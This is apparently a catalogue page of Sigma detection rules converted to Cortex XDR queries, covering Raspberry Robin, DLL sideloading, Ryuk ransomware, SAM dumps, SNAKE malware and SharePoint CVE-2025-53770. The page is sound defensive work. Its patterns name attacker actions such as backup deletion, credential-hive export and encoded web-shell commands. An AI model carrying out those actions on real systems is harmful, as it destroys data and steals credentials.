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Palo Alto Cortex XDR

1,524 rules · Sigma detections in Palo Alto Cortex XDR syntax
The same Sigma detection corpus, machine-rendered into Palo Alto Cortex XDR query syntax and ready to paste. Switch platforms above for identical coverage in another language, or choose Sigma (generic) for the portable YAML.
Download all 1,524 rules (.zip, 675 KB) Every Palo Alto Cortex XDR query in this view, packaged to deploy.
Filter by techniquepick techniques from the ATT&CK matrix
Reconnaissance4
Resource Development5
Initial Access7
Execution25
Persistence31
Privilege Escalation17
Stealth63
Defense Impairment16
Credential Access26
Discovery24
Lateral Movement10
Collection11
Command and Control18
Exfiltration7
Impact10
Using these Sigma rules
Deploy. Pick your SIEM above and paste the rendered query straight into a saved search or detection rule, or expand any rule to convert its generic YAML inline to the language you run.
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Judge. Each rule shows a quality tier (Strong / Moderate / Basic) and an estimated alert-volume tier (Low / Medium / High FP), both scored deterministically from the rule's shape - status, detection depth, match breadth, log source, documented false positives and references. A rule existing is not the same as a rule being good, or being quiet; hover either tier for the breakdown. The FP estimate reads rule shape, not a measured rate, so use it to pick what to tune first before you deploy.

Detection rules

50 shown of 1,524
high Moderate High FP
Potential Raspberry Robin Dot Ending File
Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 action_process_image_command_line ~= "\\[a-zA-Z0-9]{1,32}\.[a-zA-Z0-9]{1,6}\.[ "']{1}")
view Sigma YAML
title: Potential Raspberry Robin Dot Ending File
id: a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a
status: test
description: Detects commandline containing reference to files ending with a "." This scheme has been seen used by raspberry-robin
author: Nasreddine Bencherchali (Nextron Systems)
references:
    - https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
date: 2022-10-28
modified: 2023-02-05
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Example 1: https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2022/10/fig-3f-raspberryrobin-runonce.png
        # Example 2: https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2022/10/fig-5f-odbcconf.png
        # Example 3: https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2022/10/fig-6f-fauppod-command-line.png
        CommandLine|re: \\[a-zA-Z0-9]{1,32}\.[a-zA-Z0-9]{1,6}\.[ "']{1}  # cannot match on end-of-line because of FPs with bind DNS notation
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Rcdll.DLL Sideloading
Detects potential DLL sideloading of rcdll.dll
status test author X__Junior (Nextron Systems) ATT&CK sub-technique id 6e78b74f-c762-4800-82ad-f66787f10c8a
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_module_path contains "\rcdll.dll" and 
 (not 
 (action_module_path in ("C:\Program Files (x86)\Microsoft Visual Studio\*", "C:\Program Files (x86)\Windows Kits\*")))))
view Sigma YAML
title: Potential Rcdll.DLL Sideloading
id: 6e78b74f-c762-4800-82ad-f66787f10c8a
status: test
description: Detects potential DLL sideloading of rcdll.dll
references:
    - https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
author: X__Junior (Nextron Systems)
date: 2023-03-13
modified: 2023-03-15
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\rcdll.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files (x86)\Windows Kits\'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Registry Persistence Attempt Via Windows Telemetry
Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.
status test author Lednyov Alexey, oscd.community, Sreeman ATT&CK sub-technique id 73a883d0-0348-4be4-a8d8-51031c2564f8
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_registry_key_name contains "\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\" and 
 action_registry_key_name contains "\Command" and 
 ((action_registry_value_name in ("*.bat*", "*.bin*", "*.cmd*", "*.dat*", "*.dll*", "*.exe*", "*.hta*", "*.jar*", "*.js*", "*.msi*", "*.ps*", "*.sh*", "*.vb*")) or 
 (action_registry_data in ("*.bat*", "*.bin*", "*.cmd*", "*.dat*", "*.dll*", "*.exe*", "*.hta*", "*.jar*", "*.js*", "*.msi*", "*.ps*", "*.sh*", "*.vb*")))) and 
 (not 
 ((action_registry_value_name in ("*\system32\CompatTelRunner.exe*", "*\system32\DeviceCensus.exe*")) or 
 (action_registry_data in ("*\system32\CompatTelRunner.exe*", "*\system32\DeviceCensus.exe*"))))))
view Sigma YAML
title: Potential Registry Persistence Attempt Via Windows Telemetry
id: 73a883d0-0348-4be4-a8d8-51031c2564f8
related:
    - id: 4e8d5fd3-c959-441f-a941-f73d0cdcdca5
      type: obsolete
status: test
description: |
    Detects potential persistence behavior using the windows telemetry registry key.
    Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.
    This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.
    The problem is, it will run any arbitrary command without restriction of location or type.
references:
    - https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
author: Lednyov Alexey, oscd.community, Sreeman
date: 2020-10-16
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.t1053.005
logsource:
    category: registry_set
    product: windows
    definition: 'Requirements: Sysmon config that monitors \SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController subkey of the HKLM hives'
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\'
        TargetObject|endswith: '\Command'
        Details|contains:
            - '.bat'
            - '.bin'
            - '.cmd'
            - '.dat'
            - '.dll'
            - '.exe'
            - '.hta'
            - '.jar'
            - '.js'
            - '.msi'
            - '.ps'
            - '.sh'
            - '.vb'
    filter_main_generic:
        Details|contains:
            - '\system32\CompatTelRunner.exe'
            - '\system32\DeviceCensus.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Renamed Rundll32 Execution
Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id 2569ed8c-1147-498a-9b8c-2ad3656b10ed
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line contains "DllRegisterServer" and 
 (not 
 action_process_image_path contains "\rundll32.exe")))
view Sigma YAML
title: Potential Renamed Rundll32 Execution
id: 2569ed8c-1147-498a-9b8c-2ad3656b10ed
related:
    - id: 0ba1da6d-b6ce-4366-828c-18826c9de23e
      type: derived
status: test
description: Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection
references:
    - https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20
    - https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-22
modified: 2023-02-03
tags:
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: 'DllRegisterServer'
    filter:
        Image|endswith: '\rundll32.exe'
    condition: selection and not filter
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Potential RipZip Attack on Startup Folder
Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.
status test author Greg (rule) ATT&CK technique id a6976974-ea6f-4e97-818e-ea08625c52cb
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter event_type = ENUM.FILE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_file_name contains "\Microsoft\Windows\Start Menu\Programs\Startup" and 
 action_file_name contains ".lnk.{0AFACED1-E828-11D1-9187-B532F1E9575D}") and 
 actor_process_image_path contains "\explorer.exe"))
view Sigma YAML
title: Potential RipZip Attack on Startup Folder
id: a6976974-ea6f-4e97-818e-ea08625c52cb
status: test
description: |
    Detects a phishing attack which expands a ZIP file containing a malicious shortcut.
    If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder.
    Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.
references:
    - https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19
author: Greg (rule)
date: 2022-07-21
modified: 2023-01-05
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547
logsource:
    category: file_event
    product: windows
detection:
    selection: # %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\target.lnk.{0AFACED1-E828-11D1-9187-B532F1E9575D}\target.lnk
        TargetFilename|contains|all:
            - '\Microsoft\Windows\Start Menu\Programs\Startup'
            - '.lnk.{0AFACED1-E828-11D1-9187-B532F1E9575D}'
        Image|endswith: '\explorer.exe'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential RjvPlatform.DLL Sideloading From Non-Default Location
Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.
status test author X__Junior (Nextron Systems) ATT&CK sub-technique id 0e0bc253-07ed-43f1-816d-e1b220fe8971
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_module_path contains "\RjvPlatform.dll" and 
 actor_process_image_path = "\SystemResetPlatform.exe") and 
 (not 
 actor_process_image_path contains "C:\Windows\System32\SystemResetPlatform\")))
view Sigma YAML
title: Potential RjvPlatform.DLL Sideloading From Non-Default Location
id: 0e0bc253-07ed-43f1-816d-e1b220fe8971
status: test
description: Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.
references:
    - https://twitter.com/0gtweet/status/1666716511988330499
author: X__Junior (Nextron Systems)
date: 2023-06-09
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\RjvPlatform.dll'
        Image: '\SystemResetPlatform.exe'
    filter_main_legit_path:
        Image|startswith: 'C:\Windows\System32\SystemResetPlatform\'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Strong Medium FP
Potential Ryuk Ransomware Activity
Detects Ryuk ransomware activity
status stable author Florian Roth (Nextron Systems), Vasiliy Burov, Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id c37510b8-2107-4b78-aa32-72f251e7a844
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line contains "Microsoft\Windows\CurrentVersion\Run" and 
 action_process_image_command_line contains "C:\users\Public\") or 
 (action_process_image_command_line contains "del /s /f /q c:\" and 
 action_process_image_command_line contains "\*.bac" and 
 action_process_image_command_line contains "\*.bak" and 
 action_process_image_command_line contains "\*.bkf") or 
 ((action_process_image_path in ("*\net.exe", "*\net1.exe")) and 
 (action_process_image_command_line contains " stop " and 
 action_process_image_command_line contains " /y") and 
 (action_process_image_command_line in ("*samss*", "*audioendpointbuilder*", "*unistoresvc_*", "*AcrSch2Svc*")))))
view Sigma YAML
title: Potential Ryuk Ransomware Activity
id: c37510b8-2107-4b78-aa32-72f251e7a844
related:
    - id: 58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27
      type: similar
    - id: 0acaad27-9f02-4136-a243-c357202edd74
      type: obsolete
status: stable
description: Detects Ryuk ransomware activity
references:
    - https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/
    - https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
author: Florian Roth (Nextron Systems), Vasiliy Burov, Nasreddine Bencherchali (Nextron Systems)
date: 2019-12-16
modified: 2023-02-03
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_reg:
        CommandLine|contains|all:
            - 'Microsoft\Windows\CurrentVersion\Run'
            - 'C:\users\Public\'
    selection_del:
        CommandLine|contains|all:
            - 'del /s /f /q c:\'
            - '\*.bac'
            - '\*.bak'
            - '\*.bkf'
    selection_net:
        Image|endswith:
            - '\net.exe'
            - '\net1.exe'
        CommandLine|contains|all:
            - ' stop '
            - ' /y'
        CommandLine|contains:
            - 'samss'
            - 'audioendpointbuilder'
            - 'unistoresvc_'
            - 'AcrSch2Svc'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Strong High FP
Potential SAM Database Dump
Detects the creation of files that look like exports of the local SAM (Security Account Manager)
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 4e87b8e2-2ee9-4b2a-a715-4727d297ece0
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter event_type = ENUM.FILE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_file_name in ("*\Temp\sam", "*\sam.sav", "*\Intel\sam", "*\sam.hive", "*\Perflogs\sam", "*\ProgramData\sam", "*\Users\Public\sam", "*\AppData\Local\sam", "*\AppData\Roaming\sam", "*_ShadowSteal.zip", "*\Documents\SAM.export", "*:\sam")) or 
 (action_file_name in ("*\hive_sam_*", "*\sam.save*", "*\sam.export*", "*\~reg_sam.save*", "*\sam_backup*", "*\sam.bck*", "*\sam.backup*"))))
view Sigma YAML
title: Potential SAM Database Dump
id: 4e87b8e2-2ee9-4b2a-a715-4727d297ece0
status: test
description: Detects the creation of files that look like exports of the local SAM (Security Account Manager)
references:
    - https://github.com/search?q=CVE-2021-36934
    - https://web.archive.org/web/20210725081645/https://github.com/cube0x0/CVE-2021-36934
    - https://www.google.com/search?q=%22reg.exe+save%22+sam
    - https://github.com/HuskyHacks/ShadowSteal
    - https://github.com/FireFart/hivenightmare
author: Florian Roth (Nextron Systems)
date: 2022-02-11
modified: 2023-01-05
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    product: windows
    category: file_event
detection:
    selection:
        - TargetFilename|endswith:
              - '\Temp\sam'
              - '\sam.sav'
              - '\Intel\sam'
              - '\sam.hive'
              - '\Perflogs\sam'
              - '\ProgramData\sam'
              - '\Users\Public\sam'
              - '\AppData\Local\sam'
              - '\AppData\Roaming\sam'
              - '_ShadowSteal.zip'       # https://github.com/HuskyHacks/ShadowSteal
              - '\Documents\SAM.export'  # https://github.com/n3tsurge/CVE-2021-36934/
              - ':\sam'
        - TargetFilename|contains:
              - '\hive_sam_'             # https://github.com/FireFart/hivenightmare
              - '\sam.save'
              - '\sam.export'
              - '\~reg_sam.save'
              - '\sam_backup'
              - '\sam.bck'
              - '\sam.backup'
    condition: selection
falsepositives:
    - Rare cases of administrative activity
level: high
Convert to SIEM query
high Moderate High FP
Potential SNAKE Malware Installation CLI Arguments Indicator
Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id 02cbc035-b390-49fe-a9ff-3bb402c826db
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 action_process_image_command_line ~= "\s[a-fA-F0-9]{64}\s[a-fA-F0-9]{16}")
view Sigma YAML
title: Potential SNAKE Malware Installation CLI Arguments Indicator
id: 02cbc035-b390-49fe-a9ff-3bb402c826db
status: test
description: Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-04
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # This CLI regex is based on the following description from the report:
        #   The jpsetup.exe installer requires two arguments to be passed via the command line for execution
        #   The first argument is a wide character string hashed with SHA-256 twice -> We assume that the first argument is of length SHA256
        #   The AES initialization vector (IV) consists of the first 16 bytes of the second argument to jpsetup.exe -> We assume that the second argument is of at least 16 bytes (16 characters)
        CommandLine|re: '\s[a-fA-F0-9]{64}\s[a-fA-F0-9]{16}'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Potential SNAKE Malware Persistence Service Execution
Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id f7536642-4a08-4dd9-b6d5-c3286d8975ed
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (actor_process_image_path contains "\services.exe" and 
 action_process_image_path contains "C:\Windows\WinSxS\" and 
 action_process_image_path contains "\WerFault.exe"))
view Sigma YAML
title: Potential SNAKE Malware Persistence Service Execution
id: f7536642-4a08-4dd9-b6d5-c3286d8975ed
status: test
description: Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA.
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-04
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\services.exe'
        Image|startswith: 'C:\Windows\WinSxS\'
        Image|endswith: '\WerFault.exe'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential SharePoint ToolShell CVE-2025-53770 Exploitation Indicators
Detects potential exploitation of CVE-2025-53770 by identifying indicators such as suspicious command lines discovered in Post-Exploitation activities. CVE-2025-53770 is a zero-day vulnerability in SharePoint that allows remote code execution.
status experimental author Swachchhanda Shrawan Poudel (Nextron Systems) ATT&CK technique id 7477881c-ec3b-49d6-aced-7255944e5c59
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((actor_process_image_path contains "\w3wp.exe" and 
 ((action_process_image_command_line contains "cwBwAGkAbgBzAHQAYQBsAGwAMAAuAGEAcwBwAHgA" or 
 action_process_image_command_line contains "MAcABpAG4AcwB0AGEAbABsADAALgBhAHMAcAB4A" or 
 action_process_image_command_line contains "zAHAAaQBuAHMAdABhAGwAbAAwAC4AYQBzAHAAeA" or 
 action_process_image_command_line contains "c3BpbnN0YWxsMC5hc3B4") or 
 (action_process_image_command_line contains "OgBcAFAAUgBPAEcAUgBBAH4AMQBcAEMATwBNAE0ATwBOAH4AMQBcAE0ASQBDAFIATwBTAH4AMQBcAFcARQBCAFMARQBSAH4AMQBcADEANQBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMA" or 
 action_process_image_command_line contains "oAXABQAFIATwBHAFIAQQB+ADEAXABDAE8ATQBNAE8ATgB+ADEAXABNAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADUAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTA" or 
 action_process_image_command_line contains "6AFwAUABSAE8ARwBSAEEAfgAxAFwAQwBPAE0ATQBPAE4AfgAxAFwATQBJAEMAUgBPAFMAfgAxAFwAVwBFAEIAUwBFAFIAfgAxAFwAMQA1AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUw" or 
 action_process_image_command_line contains "OgBcAFAAUgBPAEcAUgBBAH4AMQBcAEMATwBNAE0ATwBOAH4AMQBcAE0ASQBDAFIATwBTAH4AMQBcAFcARQBCAFMARQBSAH4AMQBcADEANgBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMA" or 
 action_process_image_command_line contains "oAXABQAFIATwBHAFIAQQB+ADEAXABDAE8ATQBNAE8ATgB+ADEAXABNAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADYAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTA" or 
 action_process_image_command_line contains "6AFwAUABSAE8ARwBSAEEAfgAxAFwAQwBPAE0ATQBPAE4AfgAxAFwATQBJAEMAUgBPAFMAfgAxAFwAVwBFAEIAUwBFAFIAfgAxAFwAMQA2AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUw" or 
 action_process_image_command_line contains "OgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABDAG8AbQBtAG8AbgAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBoAGEAcgBlAGQAXABXAGUAYgAgAFMAZQByAHYAZQByACAARQB4AHQAZQBuAHMAaQBvAG4AcwBcADEANQBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMA" or 
 action_process_image_command_line contains "oAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVwBlAGIAIABTAGUAcgB2AGUAcgAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAXAAxADUAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTA" or 
 action_process_image_command_line contains "6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAIABTAGgAYQByAGUAZABcAFcAZQBiACAAUwBlAHIAdgBlAHIAIABFAHgAdABlAG4AcwBpAG8AbgBzAFwAMQA1AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUw" or 
 action_process_image_command_line contains "OgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABDAG8AbQBtAG8AbgAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBoAGEAcgBlAGQAXABXAGUAYgAgAFMAZQByAHYAZQByACAARQB4AHQAZQBuAHMAaQBvAG4AcwBcADEANgBcAFQARQBNAFAATABBAFQARQBcAEwAQQBZAE8AVQBUAFMA" or 
 action_process_image_command_line contains "oAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVwBlAGIAIABTAGUAcgB2AGUAcgAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAXAAxADYAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTA" or 
 action_process_image_command_line contains "6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAIABTAGgAYQByAGUAZABcAFcAZQBiACAAUwBlAHIAdgBlAHIAIABFAHgAdABlAG4AcwBpAG8AbgBzAFwAMQA2AFwAVABFAE0AUABMAEEAVABFAFwATABBAFkATwBVAFQAUw"))) or 
 (action_process_image_command_line in ("*-EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0*", "*TEMPLATE\LAYOUTS\spinstall0.aspx*"))))
view Sigma YAML
title: Potential SharePoint ToolShell CVE-2025-53770 Exploitation Indicators
id: 7477881c-ec3b-49d6-aced-7255944e5c59
status: experimental
description: |
    Detects potential exploitation of CVE-2025-53770 by identifying indicators such as suspicious command lines discovered in Post-Exploitation activities.
    CVE-2025-53770 is a zero-day vulnerability in SharePoint that allows remote code execution.
references:
    - https://research.eye.security/sharepoint-under-siege/
    - https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-07-21
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2025-53770
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        ParentImage|endswith: '\w3wp.exe'
    selection_encoded_aspx:
        - CommandLine|wide|base64offset|contains: 'spinstall0.aspx'
        - CommandLine|base64|contains: 'spinstall0.aspx'
    selection_encoded_path:
        CommandLine|wide|base64offset|contains:
            - ':\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS'
            - ':\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS'
            - ':\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS'
            - ':\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS'
    selection_ioc:
        CommandLine|contains:
            - '-EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0'
            - 'TEMPLATE\LAYOUTS\spinstall0.aspx'
    condition: (selection_img and 1 of selection_encoded_*) or selection_ioc
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Signing Bypass Via Windows Developer Features - Registry
Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id b110ebaf-697f-4da1-afd5-b536fa27a2c1
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_registry_key_name in ("*\Microsoft\Windows\CurrentVersion\AppModelUnlock*", "*\Policies\Microsoft\Windows\Appx\*")) and 
 (action_registry_key_name in ("*\AllowAllTrustedApps", "*\AllowDevelopmentWithoutDevLicense")) and 
 (action_registry_value_name = "DWORD (0x00000001)" or 
 action_registry_data = "DWORD (0x00000001)")))
view Sigma YAML
title: Potential Signing Bypass Via Windows Developer Features - Registry
id: b110ebaf-697f-4da1-afd5-b536fa27a2c1
related:
    - id: a383dec4-deec-4e6e-913b-ed9249670848
      type: similar
status: test
description: Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.
references:
    - https://twitter.com/malmoeb/status/1560536653709598721
    - https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-12
modified: 2023-08-17
tags:
    - attack.stealth
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains:
            - '\Microsoft\Windows\CurrentVersion\AppModelUnlock'
            - '\Policies\Microsoft\Windows\Appx\'
        TargetObject|endswith:
            - '\AllowAllTrustedApps'
            - '\AllowDevelopmentWithoutDevLicense'
        Details: 'DWORD (0x00000001)'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Potential SmadHook.DLL Sideloading
Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus
status test author X__Junior (Nextron Systems) ATT&CK sub-technique id 24b6cf51-6122-469e-861a-22974e9c1e5b
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_module_path in ("*\SmadHook32c.dll", "*\SmadHook64c.dll")) and 
 (not 
